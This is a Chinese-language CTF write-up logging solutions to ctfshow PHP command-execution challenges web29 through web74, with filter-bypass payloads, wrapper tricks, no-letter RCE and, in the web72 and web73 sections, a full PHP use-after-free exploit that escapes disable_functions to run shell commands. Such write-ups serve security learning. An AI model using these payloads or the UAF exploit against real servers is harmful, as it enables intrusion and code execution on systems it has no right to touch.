ctfshow 命令执行 刷题记录

目录

web29.

 web30.

 web31.

web32.

 web33.

web34.

web35.

web36.

web37.

web38.

 web39.

web40. 

web41.

 web42.

 web43.

 web44.

web45.

 web46.

 web47.

web48.

 web49.

 web50.

web51.

web52.

web53.

 web54.

 web55.

 web56.

web57.

 web58.

web59.

 web60.

 web61.

 web62.

 web63.

 web64.

web65.

web66.

 web67.

web68. 

 web69.

web70. 

web71.

 web72.

web73. 

 web74.

web75.

web76.

 web77.

 web118.

 web119.

web120.

 web121.

 web122.

web124.

web29.

这种题一般都可以先写入phpinfo();进去看是否成功执行

ctfshow 命令执行 刷题记录_第1张图片

 ctfshow 命令执行 刷题记录_第2张图片

 也可以这样写。

这道题使用cat more rev啥的执行命令都不行,然后就只有tac能行。

ctfshow 命令执行 刷题记录_第3张图片

这样就可以拿到flag.

这道题时是先去 用system查看当前目录下有什么文件。

ctfshow 命令执行 刷题记录_第4张图片

 然后发现在当前网站的目录下,就可以直接去tac拿到flag,因为flag被过滤了,只能用通配符绕过,

解法一:   system('tac /f*');

解法二:   file_get_contents("flag.php")  //不能用的原因是把flag过滤了,用不了

解法三:    system(’cp fl?g.php 1.txt');   然后去访问1.txt就行   这个的意思是把flag.php里面的内容写给1.txt.      ///cp  可以用mv来替代

 web30.

ctfshow 命令执行 刷题记录_第5张图片

这道题把这些过滤掉了 ,那么上一题的方法就全部用不了了

就只用用        ``    这个符号来替代system       ``        这个符号在php和linux里代表的是命令执行,和system原理一样。

 ctfshow 命令执行 刷题记录_第6张图片

 然后去访问1.txt,就能拿到flag.

ctfshow 命令执行 刷题记录_第7张图片

 解法二

preg_match函数过滤system函数,但是php中执行方法的函数有很多,比如passthru、exec,shell_exec等 ,注意exec对执行的结果不输出

passthrusystem的作用是一样的,解题的姿势有很多

 ctfshow 命令执行 刷题记录_第8张图片

 ctfshow 命令执行 刷题记录_第9张图片

 exec()函数执行

ctfshow 命令执行 刷题记录_第10张图片

 ctfshow 命令执行 刷题记录_第11张图片

 解法三

在php中echo ·命令·;也是可行并能执行输出的

等同于

 ctfshow 命令执行 刷题记录_第12张图片

 ctfshow 命令执行 刷题记录_第13张图片

一样的结果。 

总结

解法一:  ``来替代system()

解法二:  passthru()和exec()来替代 system()

解法三:  echo 加`` 来替代system();

 web31.

这道题就是过滤了很多东西

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

以前只知道这个是过滤前面的关键字,现在的话了解到了一个|\.|这个是过滤了.

|\'这个是过滤了单引号      有了新收获

 那么现在来解题,利用的是eval()当跳板,来使GET的参数逃逸出去,不会被正则匹配过滤

ctfshow 命令执行 刷题记录_第14张图片

http://b0463f71-e09e-47ab-808f-30733b9e00b2.challenge.ctf.show/?c=eval($_GET[a]);&a=system('ls');

这个的意思让a当跳板,让a来替代c来执行。那么a就可以随便用了,就不会存在被过滤的情况。

ctfshow 命令执行 刷题记录_第15张图片

 最后拿到flag,查看源码的原因是,php文件不会显示出来,得查看源码才能显示出来,或者使用tac也可以,这个可以使源码显示出来,就不用出查看源码了。

web32.

这道题过滤挺多东西的,前面学的方法基本不能用了

这次用到了也是利用函数当跳板,利用include来当跳板

/?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

 因为   ;   被过滤了,只能用?>来替代,因为拿这个来替代以后,语句后面就不能来直接读取flag了。只能通过php伪协议来读取。

ctfshow 命令执行 刷题记录_第16张图片

 然后去解码就可以拿到flag了。

ctfshow 命令执行 刷题记录_第17张图片

 web33.

ctfshow 命令执行 刷题记录_第18张图片

?c=require%0b$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

思路和web32是一样的。

web34.

可以用  echo print isset unset include require 来写    这些方法的用途上面都写到了

 解法和上一题一样,就不多赘述了。

web35.

 解法和上一题一样,就不多赘述了。

web36.

 这题的解法和上一题一样,只是有一个差别就是不能用数字了

?c=require%0b$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

 这样写就可以了。

web37.

ctfshow 命令执行 刷题记录_第19张图片

 可以使用php伪协议中的data协议来读取

?c=data://text//plain, 

ctfshow 命令执行 刷题记录_第20张图片

?c=data://text//plain,        这个协议的意思就是把text//plain,后面的语句当成php语句来执行。 

php://filter/read=convert.base64-encode/resource=[文件名]
//不能用的原因是flag.php被过滤了,这里必须得用完整的名字才行,通配符不行。

web38.

php短标签

这道题的php被过滤了,就可以用短标签来替代。

ctfshow 命令执行 刷题记录_第21张图片

 ?c=data://text//plain,

 web39.

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");  //给我们加了个后缀   '.php'
    }
        
}else{
    highlight_file(__FILE__);
}

接着可以去用data协议来解

这个只是后缀加了个.php文件,影响不大。

?c=data://text//plain,

 这个加了后缀的文件包含执行的时候实际是这样的

?c=data://text//plain,.php   

但是代码是先执行前面的语句的,所以影响不是很大

 ctfshow 命令执行 刷题记录_第22张图片

web40. 


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}
因为''等等被过滤了,相当于无参数rce

/?c=var_dump(scandir(current(localeconv()))); 
localeconv() 返回一包含本地数字及货币格式信息的数组,该数组第一个元素是.
current() 返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

读文件

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse()函数以相反的元素顺序返回数组
next() 将内部指针指向数组中的下一个元素

//这样写的原因我猜测应该是,早知道当前网站目录就两个文件,flag.php和index.php,然后用数组逆序,使两个文件交换位置,然后用next指向flag.php,因为初始指的都是第一个文件,然后用next就能指到flag.php

ctfshow 命令执行 刷题记录_第23张图片

 解法二:

GXYCTF的禁止套娃 通过cookie获得参数进行命令执行

c=session_start();system(session_id());
PHPSEEDID  // 这里进行命令执行

 解法三:

先打印当前所有变量

?c=print_r(get_defined_vars());

 ctfshow 命令执行 刷题记录_第24张图片

 因为有post值,这是个突破口,所以post传参看看是否可行。

ctfshow 命令执行 刷题记录_第25张图片

 可以用来进行rce

next() 将内部指针指向数组中的下一个元素

 所以进行next()就会指向phpinfo().

ctfshow 命令执行 刷题记录_第26张图片

 接下来进行数组弹出,把数组里面的value进行弹出,并且用print给打印出来。

array_pop():数组弹出

ctfshow 命令执行 刷题记录_第27张图片

ctfshow 命令执行 刷题记录_第28张图片

能够成功弹出,接下来就进行命令执行 

ctfshow 命令执行 刷题记录_第29张图片

 发现能够成功执行,接下来就可以进行post  rce了。

ctfshow 命令执行 刷题记录_第30张图片

 最后拿到flag.

web41.

这道题的考点是用异或来构造字符进行命令执行

('phpinfo')();    //这道题的考点就是这个,这样也是可以成功执行的。

利用二进制数进行或运算来得到16进制,然后用16进制来找对应的ascii码来构造playload

 

就是类似这样构造。

//这道题再给我的话,我应该是做不出的,这个py脚本不会写 

 web42.

这道题是system的命令执行,前面的是eval和include

ctfshow 命令执行 刷题记录_第31张图片

首先查看这个代码,发现了一个新东西,就是 

>/dev/null 2>&1    //就是这个新东西

 Shell脚本———— /dev/null 2>&1详解 - Tinywan - 博客园

这篇博客,大概介绍了一下,可以去看看。

回归到这道题,我们可以利用分号来绕过这个黑洞

ctfshow 命令执行 刷题记录_第32张图片

 就是xxxx那块,可以随便输东西进去就可以,因为输了东西进去就可以让黑洞执行,前面的代码有分号隔开,就不会有影响,就可以直接输出。

 web43.

ctfshow 命令执行 刷题记录_第33张图片

 分号被过滤可用连接符替代    这道题试了下  %0a  也可以。

ctfshow 命令执行 刷题记录_第34张图片

 &&得进行url编码     ||不需要进行编码,直接就可以用。

 web44.

ctfshow 命令执行 刷题记录_第35张图片

 和上一题一样的解法。

web45.

 这题和上一题一样,就多了个空格过滤。

ctfshow 命令执行 刷题记录_第36张图片

 %09   也可以当空格用

 web46.

ctfshow 命令执行 刷题记录_第37张图片

1.      ?  这个通配符代表的是一位,*代表的是多位,这是这两个的区别

2.     %09里面虽然有数字,但是它解码以后是一个水平制表符,不属于数字,所以可以用 

 web47.

ctfshow 命令执行 刷题记录_第38张图片

 和上一题解法 一样

web48.

ctfshow 命令执行 刷题记录_第39张图片
和上一题一样

 web49.

和上一题解法一样

ctfshow 命令执行 刷题记录_第40张图片

 web50.

这道题的话,空格都被限制完了,得用到一个新姿势了

nl

 ctfshow 命令执行 刷题记录_第41张图片

 查看源码就能看到flag.

web51.

ctfshow 命令执行 刷题记录_第42张图片

和 上一题一样

web52.

ctfshow 命令执行 刷题记录_第43张图片

 可以看到这个把很多获取文件内容的指令都给过滤了    那么就可以考虑nl和cp了

 因为尝试过直接读取flag,然后查到了个假的flag。

 ctfshow 命令执行 刷题记录_第44张图片

 然后查看根目录

ls /       查看根目录指令

 ctfshow 命令执行 刷题记录_第45张图片

 发现存在flag目录,就可以读取了

解法一:

nl${IFS}/fl""ag||aa     //利用nl

 解法二:    利用cp或者mv(这个是重命名)

?c=cp${IFS}/fl?g${IFS}/var/www/html/k.txt||qq

 最后访问k.txt就能拿到flag.

web53.

这道题和web52一样的解法,这是这次的flag在当前网站目录,不在根目录,解法一样

也可以使用ta""c  或者ca""t   来执行,但是c?t却不行,我也不知道为什么。

 web54.

|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.

 这个正则匹配的星号和点号的含义。 

点号是:任意字符

星号是:出现的次数

 \s表示空白符,如:换行,回车,空格,tab空格,翻页等
*要求前面字符重复0次或多次
/,\s*/匹配逗号加任意多个空格(也可以没有空格).如:

1.","
2.", "
3.",

"(已经换到另一行)

 这是个例子,可以看来学习

所以由以上的学习可知,ca""t    和nl fl""ag.php    都不能用了。

 所以就得用cp或者mv了

ctfshow 命令执行 刷题记录_第46张图片

 还有另一种解法就是利用   uniq和grep来解题

grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

可构造playload:

?c=uniq${IFS}????.???
?c=grep${IFS}'{'${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行)
 

 web55.

这个是无字母进行rce     

方法一:

这题禁用了 字母 a-z ,那么我可以用 /bin/base64 flag.php

加上通配符 则为 /???/????64 ????.??? 然后他就会出现 flag.php内容的base64编码

方法二:

还有一种做法,就是使用 /usr/bin/bzip2 进行对文件的压缩

同样是使用通配符进行payload, 然后 最后访问 /flag.php.bz2进行下载压缩包

方法三:

无字母数字的命令执行(ctfshow web入门 55)_Firebasky的博客-CSDN博客_无字母数字命令执行

一些不包含数字和字母的webshell | 离别歌

无字母数字webshell之提高篇 | 离别歌

 根据这两篇的学习,来写一下自己的见解。

ctfshow 命令执行 刷题记录_第47张图片

 为什么要用文件上传呢,因为就是 文件上传一个脚本的话   会先上传到服务器中的(文件上传文件都保存在这个位置)/tmp/phpxxxxxx(最后一位一定是大写)保存,这个谁都可以修改不需要权限,但是php这个语言对这个的处理是,在它没运行之前不会删除它,假如一共有2000行代码的话,前面1800行可能不会用到它,但是突然删除它的话,万一系统后面的两百行代码需要用到它,那么就会报错,所以php系统就选了一个折中的办法来预防这种情况,就是脚本执行后才会删除。

 ctfshow 命令执行 刷题记录_第48张图片

因为就是这个通配符的话,会导致很多文件同时被识别出来,无法确定该使用哪个,所以得用这个新的通配符,把^这个符号去掉的话就是代表必须得是这个[]里的内容。

 其他话我就不多写了,因为上面的文章有解题过程了。

这里还有个疑问是#!/bin/sh是干什么的(简单来说就是用来执行脚本的)

#!/bin/sh是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面根的是此解释此脚本的shell的路径。

其实第一句的#!是对脚本的解释器程序路径,脚本的内容是由解释器解释的,我们可以用各种各样的解释器来写对应的脚本。

 还有就是p佬的那篇文章中

ctfshow 命令执行 刷题记录_第49张图片

这个玩意的解释。

 ctfshow 命令执行 刷题记录_第50张图片

 web56.

这个是数字和字母双双过滤  是上一题的进化版

 但是解法上一题的方法三是一样的,就不多赘述了。

web57.

这道题学到的新姿势是构造数字

$(()): 做运算

a=$((~$((xx))):   值为-1  所以在先$((a+a))   就是这个样子就会输出-2

 ctfshow 命令执行 刷题记录_第51张图片

 刚刚试了下,就是这样子,没错

 完整playload

$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))

 ctfshow 命令执行 刷题记录_第52张图片

 web58.

ctfshow 命令执行 刷题记录_第53张图片

 试了一下发现phpinfo()   system被禁用了,

然后去试了下   发现file_get_contents()和show_source()   可以用

show_source()可以不用echo

 ctfshow 命令执行 刷题记录_第54张图片

 然后查看源码就能拿到flag。

web59.

ctfshow 命令执行 刷题记录_第55张图片

 和上一题一样,但是file_get_contents()被过滤了,show_souce()可以用

ctfshow 命令执行 刷题记录_第56张图片

 用include 得配合php伪协议使用  前面有eval()   GET传参的    方法都可以尝试一遍。

 ctfshow 命令执行 刷题记录_第57张图片

 web60.

ctfshow 命令执行 刷题记录_第58张图片

 又是这样的题

 方法一:show_source()

方法二: include($_GET[1])

方法三:highlight_file()

方法四:shell 来写

第一步

ctfshow 命令执行 刷题记录_第59张图片

 第二步

ctfshow 命令执行 刷题记录_第60张图片

 发现可执行,于是直接读取flag

第三步

ctfshow 命令执行 刷题记录_第61张图片

 这个就是把脚本写入nginx服务器里,然后在执行。

 web61.

ctfshow 命令执行 刷题记录_第62张图片又是这样的题

直接用show_source()直接拿到flag。

 ctfshow 命令执行 刷题记录_第63张图片

 web62.

ctfshow 命令执行 刷题记录_第64张图片

 还是这样写

show_source()  highlight_file()

还有一种新写法

ctfshow 命令执行 刷题记录_第65张图片

 web63.

ctfshow 命令执行 刷题记录_第66张图片

 一样的代码

show_source()   highlight_file()  直接解

还有一种新方法,和上一题一样,但是上一题是猜到了变量名,这次是不知道变量名的情况下

ctfshow 命令执行 刷题记录_第67张图片

 get_defined_vars()是输出定义好的变量名,在知道在哪个文件下,但是不知道变量名的情况下可以使用。

 web64.

ctfshow 命令执行 刷题记录_第68张图片

 和上一题一样

show_source()  highlight_file()

方法二:这题用不了,但可以用来积累  就是   rename('flag.php','1.txt');

学到一个新东西,分享一下   scandir()

ctfshow 命令执行 刷题记录_第69张图片

 查看当前目录,

ctfshow 命令执行 刷题记录_第70张图片

 查看根目录

web65.

ctfshow 命令执行 刷题记录_第71张图片

 和上一题一样

新的方法  比较复杂的一种

这题用不了   可以当个积累。

// 创建一个curl句柄

$ch = curl_init();

// 设置访问的URL

curl_setopt($ch, CURLOPT_URL, "http://aiezu.com");

// 将curl请求执行时,将结果返回,而不是直接输出

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

// 执行curl请求,返回结果到变量

$html = curl_exec($ch);

// 关闭curl句柄

curl_close($ch);

echo strlen($html);

到时候直接?c=  把这些粘贴上去就行,然后删掉换行和注释就欧克了

web66.

ctfshow 命令执行 刷题记录_第72张图片

这道题终于把show_source()给禁了,不能用了,就只能用  highlight_file()了

 ctfshow 命令执行 刷题记录_第73张图片

 这肯定不在当前目录了,于是用print_r(scandir())查到在根目录,且文件名为flag.txt。

于是直接用highlight_file('/flag.php');

ctfshow 命令执行 刷题记录_第74张图片

 web67.

ctfshow 命令执行 刷题记录_第75张图片

 ctfshow 命令执行 刷题记录_第76张图片

用上一题的解法就可以了,只不过这题把print_r()给禁了,所以换var_dump()查到在根目录。

web68. 

ctfshow 命令执行 刷题记录_第77张图片

 打开是这样的,用include拿到flag。

 ctfshow 命令执行 刷题记录_第78张图片

 这里include后面也不可以不写东西,因为不是php后缀的话,会默认以html格式输出,就可以直接拿到flag了。

 web69.

ctfshow 命令执行 刷题记录_第79张图片

 用上一道题的方法也可以

ctfshow 命令执行 刷题记录_第80张图片

web70. 

ctfshow 命令执行 刷题记录_第81张图片

还是这种,用上一题的方法还是可以解

 ctfshow 命令执行 刷题记录_第82张图片

web71.

ctfshow 命令执行 刷题记录_第83张图片

题目给了个附件,下载拿到源码。

 ob_get_contents():    返回输出缓冲区的内容 

 ctfshow 命令执行 刷题记录_第84张图片

 ob_end_clean():     清空(擦除)缓冲区并关闭输出缓冲

 ctfshow 命令执行 刷题记录_第85张图片

preg_replace():      执行一个正则表达式的搜索和替换

 ctfshow 命令执行 刷题记录_第86张图片

以上就是题目出现的函数的解释了
解题:

ctfshow 命令执行 刷题记录_第87张图片

 思路就是让这部分不执行    利用exit()来解题;

ctfshow 命令执行 刷题记录_第88张图片

 web72.

ctfshow 命令执行 刷题记录_第89张图片

源码和上一题一样,但是这题过滤了var_dump();  可以用var_export()来替代。

exit()也可以用die()来替代

可以用另一种写法;

ctfshow 命令执行 刷题记录_第90张图片

但是用不了   可以当作一种积累

php文件包含目录配置open_basedir的使用与性能分析_傲雪星枫的博客-CSDN博客_open_basedir

 这篇文章介绍了open_basedir是干嘛的

ctfshow 命令执行 刷题记录_第91张图片

 这里ini_set()被禁用了,不能用来修改open_basedir指定的路径了,所以只能换一种方法

所以要先绕过open_basedir。首先排除命令执行绕过的可能,disable_function已经禁用了命令执行函数(不知道有没有什么办法绕过)。可以使用glob伪协议绕过,glob伪协议筛选目录不受open_basedir的制约。

 下面的就是glob://伪协议绕过open_basedir

c=$a=new DirectoryIterator("glob:///*");  //""之间装的是路径,这里写的是根目录下的所有文件
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);

 ctfshow 命令执行 刷题记录_第92张图片

 拿到文件名,

ctfshow 命令执行 刷题记录_第93张图片

这里不能成功执行的原因是flag0.txt不在open_basedir规定的目录里,所以就得找一个脚本来绕过。

 这个时候我们就需要用到uaf脚本绕过,disable_function()限制了很多函数,可以直接用uaf脚本进行命令执行(post的时候得让脚本进行url编码)

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

 ctfshow 命令执行 刷题记录_第94张图片

 结束。

web73. 

ctfshow 命令执行 刷题记录_第95张图片

 和上一题一样的办法,先查看flag在哪,叫什么名

ctfshow 命令执行 刷题记录_第96张图片

 名字改为flagc.txt了      然后就用上一个题的脚本来绕过,但是这道题把strlen()给ban了,所以我们就想到一种办法来进行绕过,就是改函数名,用自己定义的一个函数来进行绕过。

就是用这个函数来代替strlen.

以下就是修改好的poc   但是题目似乎还没有修复,用不了。。。。。。。还是会显示502

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }
   function strlen_user($s)
   {  
     $ret=0;
     for($i=0;$i<10000;$i++)
        {
            if($s[$i])
               {
                    $ret=$ret+1;
                }
            else
                {
                    break;
                }
        }
            return $ret;
    }
    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen_user($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen_user($abc) == 79 || strlen_user($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

 解法二:

直接include('/flagc.txt');exit();    因为这次的flagc.txt在open_basedir()设置的路径里。

 web74.

ctfshow 命令执行 刷题记录_第97张图片

还是用glob伪协议看看flag文件叫什么名

 ctfshow 命令执行 刷题记录_第98张图片

